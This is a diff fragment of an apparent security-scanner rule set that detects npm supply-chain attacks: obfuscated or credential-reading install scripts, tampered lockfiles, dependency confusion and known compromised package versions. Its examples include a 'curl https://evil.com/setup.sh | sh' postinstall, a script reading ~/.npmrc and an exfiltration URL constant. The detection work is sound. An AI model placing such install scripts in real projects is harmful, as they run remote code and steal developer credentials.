+ fix: "Remove obfuscated code from install scripts. Legitimate postinstall scripts should only run build tools like prisma generate or patch-package.",
106
+ fixCode: '// Safe install scripts:\n"scripts": {\n "postinstall": "prisma generate"\n}\n\n// DANGEROUS — obfuscated payload:\n// "postinstall": "node -e \\"Buffer.from(\'...payload...\', \'base64\').toString()\\"',
107
+ compliance: ["SOC2:CC7.1"],
108
+ },
109
+ {
110
+ id: "VG868",
111
+ name: "Install Script Accesses Credential Files",
112
+ severity: "critical",
113
+ owasp: "A01:2025 Broken Access Control",
114
+ description: "Package install script reads credential files (.npmrc, .ssh, .aws, .env, .git-credentials). The SANDWORM_MODE worm (2026) and Shai-Hulud variants use this technique to steal developer tokens and propagate to other packages.",
115
+ pattern: /["'](?:post|pre)install["']\s*:\s*["'][^"']*(?:\.npmrc|\.ssh|\.aws|credentials|\.env|\.git-credentials|\.netrc|\.docker\/config)/gi,
116
+ languages: ["json"],
117
+ fix: "Remove credential file access from install scripts. No legitimate package needs to read your SSH keys or npm tokens during installation.",
118
+ fixCode: '// DANGEROUS:\n// "postinstall": "node -e \\"fs.readFileSync(process.env.HOME+\'/.npmrc\')\\"\n\n// Safe: no credential access\n"scripts": {\n "postinstall": "prisma generate"\n}',
119
+ compliance: ["SOC2:CC6.1"],
120
+ },
121
+ {
122
+ id: "VG869",
123
+ name: "Self-Deleting Payload in Package Script",
124
+ severity: "high",
125
+ owasp: "A03:2025 Software Supply Chain Failures",
126
+ description: "Package script deletes its own files after execution (fs.unlinkSync, rm -f on script files). This is a forensic evasion technique used by advanced supply chain malware — the payload runs, then erases evidence of its existence.",
127
+ pattern: /["'](?:post|pre)install["']\s*:\s*["'][^"']*(?:unlinkSync|rm\s+-[rf]+\s+.*(?:setup|install|hook)|rimraf\s+.*(?:setup|install|hook))/gi,
128
+ languages: ["json"],
129
+ fix: "Investigate packages with self-deleting install scripts. This is a strong indicator of malicious intent.",
130
+ fixCode: '// DANGEROUS — self-deleting payload:\n// "postinstall": "node setup.js && rm -f setup.js"\n\n// Legitimate scripts don\'t delete themselves:\n"scripts": {\n "postinstall": "patch-package"\n}',
131
+ compliance: ["SOC2:CC7.1"],
132
+ },
133
+ {
134
+ id: "VG870",
135
+ name: "Lockfile Missing Integrity Hash",
136
+ severity: "critical",
137
+ owasp: "A03:2025 Software Supply Chain Failures",
138
+ description: "A package in the lockfile (package-lock.json) is missing an integrity hash. Integrity hashes (sha512/sha256) ensure that the downloaded package matches what was originally resolved. Missing hashes indicate possible lockfile tampering — the exact technique used in the Axios supply chain attack (March 2026) where a malicious dependency was injected without proper integrity verification.",
139
+ pattern: /"node_modules\/[^"]+"\s*:\s*\{[^}]*"resolved"\s*:\s*"[^"]*"(?![^}]*"integrity")[^}]*\}/g,
140
+ languages: ["json"],
141
+ fix: "Run `npm install` with a clean node_modules to regenerate integrity hashes. If hashes were manually removed, investigate for lockfile tampering.",
142
+ fixCode: '// Healthy lockfile entry has integrity hash:\n"node_modules/axios": {\n "version": "1.7.9",\n "resolved": "https://registry.npmjs.org/axios/-/axios-1.7.9.tgz",\n "integrity": "sha512-LhHLbBcJkvZz..."\n}\n\n// DANGEROUS — missing integrity:\n// "node_modules/axios": {\n// "version": "1.14.1",\n// "resolved": "https://registry.npmjs.org/axios/-/axios-1.14.1.tgz"\n// }',
143
+ compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.10"],
144
+ },
145
+ {
146
+ id: "VG871",
147
+ name: "Non-Registry Tarball URL in Lockfile",
148
+ severity: "critical",
149
+ owasp: "A03:2025 Software Supply Chain Failures",
150
+ description: 'Lockfile contains a "resolved" URL pointing to a non-official npm registry. Legitimate packages resolve to registry.npmjs.org. Third-party or attacker-controlled registries can serve tampered packages. This is a key indicator of dependency substitution attacks.',
151
+ pattern: /"resolved"\s*:\s*"https?:\/\/(?!registry\.npmjs\.org\/)[^"]*\.tgz"/g,
152
+ languages: ["json"],
153
+ fix: "Verify the package source. If using a private registry, ensure it is your organization's approved registry. Remove any packages resolving to unknown hosts.",
154
+ fixCode: '// Safe — official npm registry:\n"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz"\n\n// DANGEROUS — unknown registry:\n// "resolved": "https://evil-registry.com/lodash/-/lodash-4.17.21.tgz"',
155
+ compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.10"],
156
+ },
157
+ {
158
+ id: "VG872",
159
+ name: "Dependency Confusion Risk — Unscoped Internal Package Name",
160
+ severity: "high",
161
+ owasp: "A03:2025 Software Supply Chain Failures",
162
+ description: 'Package dependency uses common internal naming patterns (e.g., prefixed with "internal-", "company-", "app-") without an npm scope (@org/). Unscoped packages with internal-sounding names are prime targets for dependency confusion attacks — an attacker publishes a higher-versioned package with the same name on the public registry.',
163
+ pattern: /"(?:internal-|company-|corp-|private-|infra-|platform-|service-|lib-|shared-|common-|core-|base-|app-|org-|team-|dept-)[a-z0-9-]+":\s*"[\^~]?\d/g,
164
+ languages: ["json"],
165
+ fix: "Use npm scopes (@your-org/package-name) for all internal packages. Configure .npmrc to route your scope to your private registry.",
166
+ fixCode: '// DANGEROUS — unscoped internal package (dependency confusion target):\n"dependencies": {\n "internal-auth": "^2.1.0"\n}\n\n// Safe — scoped to your org:\n"dependencies": {\n "@mycompany/internal-auth": "^2.1.0"\n}',
167
+ compliance: ["SOC2:CC7.1"],
168
+ },
169
+ {
170
+ id: "VG873",
171
+ name: "Suspicious Package Name — Deceptive Prefix/Suffix Pattern",
172
+ severity: "high",
173
+ owasp: "A03:2025 Software Supply Chain Failures",
174
+ description: 'Dependency uses a deceptive naming pattern that mimics a legitimate package with a prefix or suffix (e.g., "plain-crypto-js" mimicking "crypto-js", "real-lodash" mimicking "lodash"). This is the exact technique used in the Axios NPM supply chain attack (March 2026) where the injected "plain-crypto-js" package was a backdoor disguised as a crypto utility.',
175
+ pattern: /"(?:plain-|real-|original-|safe-|secure-|true-|actual-|verified-|legit-|official-|clean-|pure-|native-|simple-|fast-|super-|ultra-|better-|enhanced-|improved-|modern-|updated-)[a-z][\w.-]*":\s*"[\^~]?\d/g,
176
+ languages: ["json"],
177
+ fix: "Verify the package is legitimate. Check npm for the package author, publication date, and download count. Compare with the well-known package it appears to mimic.",
178
+ fixCode: '// DANGEROUS — deceptive prefix mimicking crypto-js:\n"dependencies": {\n "plain-crypto-js": "^1.0.0"\n}\n\n// Safe — use the real package:\n"dependencies": {\n "crypto-js": "^4.2.0"\n}',
179
+ compliance: ["SOC2:CC7.1"],
180
+ },
181
+ {
182
+ id: "VG874",
183
+ name: "Install Script Downloads and Executes Remote Code",
184
+ severity: "critical",
185
+ owasp: "A03:2025 Software Supply Chain Failures",
186
+ description: "Install script combines download and execution in a single command (e.g., curl|sh, wget|bash, fetch+eval). This is the most dangerous pattern in supply chain attacks — it downloads arbitrary code and immediately executes it with the developer's full permissions.",
187
+ pattern: /["'](?:post|pre)install["']\s*:\s*["'][^"']*(?:curl[^"']*\|\s*(?:sh|bash|node)|wget[^"']*\|\s*(?:sh|bash|node)|fetch\([^)]*\)[^"']*\.then[^"']*eval|npx\s+[^@\s][^"']*)/gi,
188
+ languages: ["json"],
189
+ fix: "Never pipe remote content directly to a shell. Download files first, verify checksums, then execute.",
190
+ fixCode: '// DANGEROUS — download and execute:\n// "postinstall": "curl https://evil.com/setup.sh | sh"\n\n// Safe — no remote execution in install scripts:\n"scripts": {\n "postinstall": "prisma generate"\n}',
191
+ compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.10"],
192
+ },
193
+ {
194
+ id: "VG875",
195
+ name: "Lockfile Contains Deprecated SHA-1 Integrity",
196
+ severity: "medium",
197
+ owasp: "A03:2025 Software Supply Chain Failures",
198
+ description: "Lockfile uses SHA-1 integrity hashes instead of SHA-512. SHA-1 is cryptographically broken — collision attacks are practical. An attacker who can produce a SHA-1 collision could substitute a malicious package that passes integrity verification. Modern lockfiles should exclusively use SHA-512.",
199
+ pattern: /"integrity"\s*:\s*"sha1-[A-Za-z0-9+/=]+"/g,
200
+ languages: ["json"],
201
+ fix: "Delete node_modules and package-lock.json, then run `npm install` to regenerate with SHA-512 hashes. Ensure you are using npm >= 7.",
202
+ fixCode: '// WEAK — SHA-1 integrity (broken algorithm):\n"integrity": "sha1-abc123def456..."\n\n// Strong — SHA-512 integrity:\n"integrity": "sha512-abc123def456ghij..."',
203
+ compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.10"],
204
+ },
205
+ {
206
+ id: "VG1056",
207
+ name: "@tanstack/* Compromised Versions May 2026 (CVE-2026-45321) — Credential Exfiltration",
208
+ severity: "critical",
209
+ owasp: "A03:2025 Software Supply Chain Failures",
210
+ description: "On 2026-05-11 between 19:20 and 19:26 UTC, an attacker chained a pull_request_target Pwn Request misconfiguration, GitHub Actions cache poisoning across the fork↔base boundary, and runtime extraction of the OIDC trusted-publisher token to publish 84 malicious versions across 42 @tanstack/* packages to npm. Each affected package received exactly two malicious versions. Installing any of them executes a ~2.3 MB obfuscated router_init.js at install time that harvests AWS/GCP/Kubernetes/Vault credentials, npm/GitHub/SSH tokens, and exfiltrates them over the Session/Oxen messenger network (filev2.getsession.org). Pin to a clean release and rotate every credential the affected host could reach.",
211
+ pattern: /["']@tanstack\/(?:arktype-adapter|eslint-plugin-router|eslint-plugin-start|history|nitro-v2-vite-plugin|react-router|react-router-devtools|react-router-ssr-query|react-start|react-start-client|react-start-rsc|react-start-server|router-cli|router-core|router-devtools|router-devtools-core|router-generator|router-plugin|router-ssr-query-core|router-utils|router-vite-plugin|solid-router|solid-router-devtools|solid-router-ssr-query|solid-start|solid-start-client|solid-start-server|start-client-core|start-fn-stubs|start-plugin-core|start-server-core|start-static-server-functions|start-storage-context|valibot-adapter|virtual-file-routes|vue-router|vue-router-devtools|vue-router-ssr-query|vue-start|vue-start-client|vue-start-server|zod-adapter)["']\s*:\s*["'](?:\^|~|>=?|=)?\s*(?:0\.0\.(?:4|7|47|50)|1\.154\.(?:12|15)|1\.161\.(?:9|10|11|12|13|14)|1\.166\.(?:12|15|16|18|19|38|41|44|45|46|47|48|49|50|51|53|54|55|56|57|58)|1\.167\.(?:6|9|33|36|38|41|61|64|65|68|71)|1\.168\.(?:3|5|6|8)|1\.169\.(?:5|8|23|26))["']/g,
212
+ languages: ["json"],
213
+ fix: "Pin every affected @tanstack/* package to a clean version published after 2026-05-11 (npm install @tanstack/react-router@latest etc., or use overrides for transitive copies). Then rotate everything the install host could reach: AWS access keys, GCP service-account keys, Kubernetes tokens, Vault tokens, ~/.npmrc tokens, GitHub PATs and gh CLI auth, .git-credentials, and any SSH private key in ~/.ssh. Wipe and reissue the CI runner if the install ran in CI.",
214
+ fixCode: '// package.json — pin to clean versions\n"@tanstack/react-router": "^1.169.9", // or latest non-malicious\n"@tanstack/router-core": "^1.169.9",\n"@tanstack/react-start": "^1.167.72"\n\n// pnpm / yarn / npm overrides to evict transitive copies\n"overrides": {\n "@tanstack/react-router": "^1.169.9",\n "@tanstack/router-core": "^1.169.9"\n}\n\n// Network mitigation while rotating: block *.getsession.org egress',
215
+ compliance: ["SOC2:CC6.1", "SOC2:CC7.1", "PCI-DSS:Req6.2", "PCI-DSS:Req3.5"],
216
+ },
217
+ {
218
+ id: "VG1074",
219
+ name: "@redhat-cloud-services/* Miasma Supply-Chain Compromise (RHSB-2026-006)",
220
+ severity: "high",
221
+ owasp: "A03:2025 Software Supply Chain Failures",
222
+ description: "On 2026-06-01 the Miasma campaign published trojanized versions across at least 32 packages in the @redhat-cloud-services npm namespace (combined ~80K weekly downloads). The attacker reused a compromised Red Hat employee GitHub account to push orphan commits, then leveraged the repository's GitHub Actions OIDC trusted-publisher chain to ship malicious packages WITH valid SLSA provenance attestations — provenance alone is no longer a sufficient trust signal here. A preinstall hook fetches a ~4.29 MB obfuscated dropper that downloads the Bun runtime and exfiltrates GitHub / npm / AWS / Azure / GCP credentials, SSH private keys, browser-stored secrets, and crypto-wallet data over the Session/Oxen messenger network (filev2.getsession.org — same exfil family as VG1056 @tanstack). Sources: Wiz blog, Microsoft Security Response Center, Red Hat RHSB-2026-006. Until the namespace publishes a clean, audited replacement series, treat every @redhat-cloud-services/* version reference in a package.json or lockfile as suspect; rotate every credential the install host could reach.",
223
+ pattern: /["']@redhat-cloud-services\/[a-z0-9._-]+["']\s*:\s*["'](?:\^|~|>=?|=)?\s*[^"']{1,80}["']/g,
224
+ languages: ["json"],
225
+ fix: "Remove every @redhat-cloud-services/* dependency until Red Hat publishes a clean replacement series under a new (un-compromised) namespace or numbered re-release. Rotate every credential the install host could reach: AWS access keys, GCP service-account keys, Azure tokens, GitHub PATs, npm tokens, SSH private keys, browser-cached cookies, and any crypto-wallet seed. Wipe and reissue the CI runner if the install ran in CI. Add filev2.getsession.org and *.getsession.org to your egress denylist. Do NOT trust SLSA provenance as sole evidence — the attacker forged provenance via the OIDC trusted-publisher chain.",
226
+ fixCode: '// package.json — remove every @redhat-cloud-services/* entry\n// (currently EVERY version in this namespace is suspect)\n\n// If a transitive copy is pulled in by another dep, evict via overrides:\n"overrides": {\n "@redhat-cloud-services/some-package": "npm:noop@1.0.0"\n}\n\n// Egress controls while rotating credentials:\n// - block *.getsession.org\n// - block bun.sh and github.com/oven-sh/bun/releases on CI runners\n// that have no legitimate Bun runtime usage',
227
+ compliance: ["SOC2:CC6.1", "SOC2:CC7.1", "PCI-DSS:Req6.2", "PCI-DSS:Req3.5"],
228
+ exploit: "Attacker who compromised a Red Hat employee's GitHub credentials pushes an orphan commit that adds a preinstall lifecycle script to one or more @redhat-cloud-services/* packages, then triggers the repository's publish workflow. The workflow uses the OIDC trusted-publisher chain, so npm accepts the malicious tarball with a valid provenance attestation. Any developer or CI runner that runs `npm install` on a project depending on the package — directly or transitively — executes the preinstall script, which downloads the Bun runtime, decodes a credential-stealer payload, harvests environment files and cloud credentials, and exfiltrates them over Session messenger to filev2.getsession.org.",
229
+ },
230
+ {
231
+ id: "VG1075",
232
+ name: "Session Messenger Exfil Endpoint Reference (filev2.getsession.org)",
233
+ severity: "critical",
234
+ owasp: "A03:2025 Software Supply Chain Failures",
235
+ description: "Code, configuration, or dependency references the Session/Oxen messenger file-relay endpoint filev2.getsession.org (or another *.getsession.org host) as a fetch target, base URL, or hardcoded constant. This endpoint is the documented exfiltration channel for two distinct 2026 supply-chain campaigns: @tanstack mass malware (CVE-2026-45321, VG1056) and the Miasma @redhat-cloud-services compromise (RHSB-2026-006, VG1074). A web/server codebase has no legitimate reason to talk to this host; presence is a high-confidence Indicator of Compromise. Audit the host running this code for credential rotation candidates immediately.",
236
+ pattern: /\b(?:[a-z0-9-]+\.)?getsession\.org\b/gi,
237
+ languages: ["javascript", "typescript", "json"],
238
+ fix: "Treat the host running this code as potentially compromised. Block *.getsession.org egress at the firewall, rotate every cloud, npm, GitHub, and SSH credential reachable from the host, wipe and reissue the runner if it is a CI box, and search the lockfile for the upstream package that introduced the reference. Pin away from that package or use overrides to evict it. Search git history for when the reference appeared to estimate the exposure window.",
239
+ fixCode: "// REMOVE — never legitimate in a web/server codebase\n// const exfilUrl = 'https://filev2.getsession.org/file';\n\n// If you genuinely use Session as an end-user feature (not as an exfil channel),\n// move the URL behind a feature flag and document why. Add an explicit allowlist\n// comment so this rule can be suppressed via .guardviberc:\n// { rules: { allow: [{ id: 'VG1075', paths: ['src/features/session-link.ts'] }] } }",
240
+ compliance: ["SOC2:CC6.1", "SOC2:CC7.1", "PCI-DSS:Req6.2"],
241
+ exploit: "Attacker leverages Session's anonymity-by-design file relay (no DNS exposure, encrypted at the network layer, no account binding) to exfiltrate stolen credentials. Any code or dependency that posts to filev2.getsession.org is almost certainly an installed credential stealer staged by a supply-chain compromise — most often a malicious npm preinstall script that has already executed once on this host.",
242
+ },
243
+ ];
@@ -0,0 +1,2 @@
1
+ import type { SecurityRule } from "./types.js";
2
+ export declare const terraformRules: SecurityRule[];